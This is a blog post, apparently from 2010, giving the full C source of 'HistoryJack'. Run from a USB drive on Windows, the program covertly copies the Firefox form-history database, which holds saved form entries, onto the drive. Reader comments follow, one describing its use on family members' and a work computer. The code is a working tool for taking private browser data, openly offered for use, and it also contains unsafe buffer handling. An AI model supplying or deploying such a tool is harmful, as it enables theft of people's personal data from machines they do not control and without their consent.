/*
HistoryJack
1/23/2010
logickills
http://logickills.org
Exports formhistory.sqlite file from firefox browser to a flash drive or other
removable media. This program is able to differentiate between versions of windows
so it can find the correct path associated with the the browser.
In order to use save this file to flashdrive. Once program is run from flashdrive
it will grab the .sqlite file and place it on the flashdrive. In order to view
sqlite files use http://sourceforge.net/projects/sqlitebrowser/.
I am not responsible for anything that you do with this code. I made this in like
30 minutes so don't complain.
<3 LogicKills
*/
#include <stdio.h>
#include <windows.h>
#include <dirent.h>
char* getPath();
char** findProfile(char* directoryLocation);
char* combineStrings(char* profile, char* path);
int main()
{
char* directoryLocation = getPath();
static char ** files = findProfile(directoryLocation);
char* removeableMedia = _getcwd( NULL, 0 );
char* ToFileName = strncat(removeableMedia,"\\history.sqlite",19);
char* endPath = combineStrings(files[2],directoryLocation);
CopyFile(endPath,ToFileName,TRUE);
return 0;
}
char* getPath()
{
char* appPath;
char* usrPath;
char* fullPath;
char* drive = getenv("SYSTEMDRIVE");
char* user = getenv("USERNAME");
OSVERSIONINFO info;
info.dwOSVersionInfoSize = sizeof(info);
GetVersionEx(&info);
if (info.dwMajorVersion >= 6)
{
appPath = "\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles";
usrPath = "\\Users\\";
}
else
{
appPath = "\\Application Data\\Mozilla\\Firefox\\Profiles";
usrPath = "\\Documents and Settings\\";
}
strncat(drive,usrPath,strlen(usrPath) + 1);
strncat(drive,user,strlen(user) + 1);
strncat(drive,appPath,strlen(appPath) + 1);
fullPath = drive;
return (fullPath);
}
char** findProfile(char* path)
{
DIR *dir = opendir (path);
size_t filecount = 0;
size_t i = 0;
struct dirent *dp;
char **files;
if (dir == NULL) {
return NULL;
}
while ((dp = readdir (dir)) != NULL) {
filecount++;
}
files = (char **) malloc (filecount * sizeof (*files));
if (files == NULL) {
return NULL;
}
rewinddir (dir);
while ((dp = readdir (dir)) != NULL) {
files[i] = strdup (dp->d_name);
if (files[i] == NULL) {
while (i > 0) {
free (files[--i]);
}
free (files);
return NULL;
}
i++;
}
closedir (dir);
return files;
}
char* combineStrings(char* profile, char* path)
{
strncat(path,"\\",3);
strncat(path,profile,strlen(profile) +1);
strncat(path,"\\formhistory.sqlite",30);
return path;
}
#1 by Chris Helm on January 28, 2010 - 11:45 pm
Quote
Dude, this code actually worked everytime i tried it. I used it on my moms work computer, dads, my laptop, and the home desktop.
#2 by admin on January 30, 2010 - 7:15 pm
Quote
Sweet! I will keep the code coming!